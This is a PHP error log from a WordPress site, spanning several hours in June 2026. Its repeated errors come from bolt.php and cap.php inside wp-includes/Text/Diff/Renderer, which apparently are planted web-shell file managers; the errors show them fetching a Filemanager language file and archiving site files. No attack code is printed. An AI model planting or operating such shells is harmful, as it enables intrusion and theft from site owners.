[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
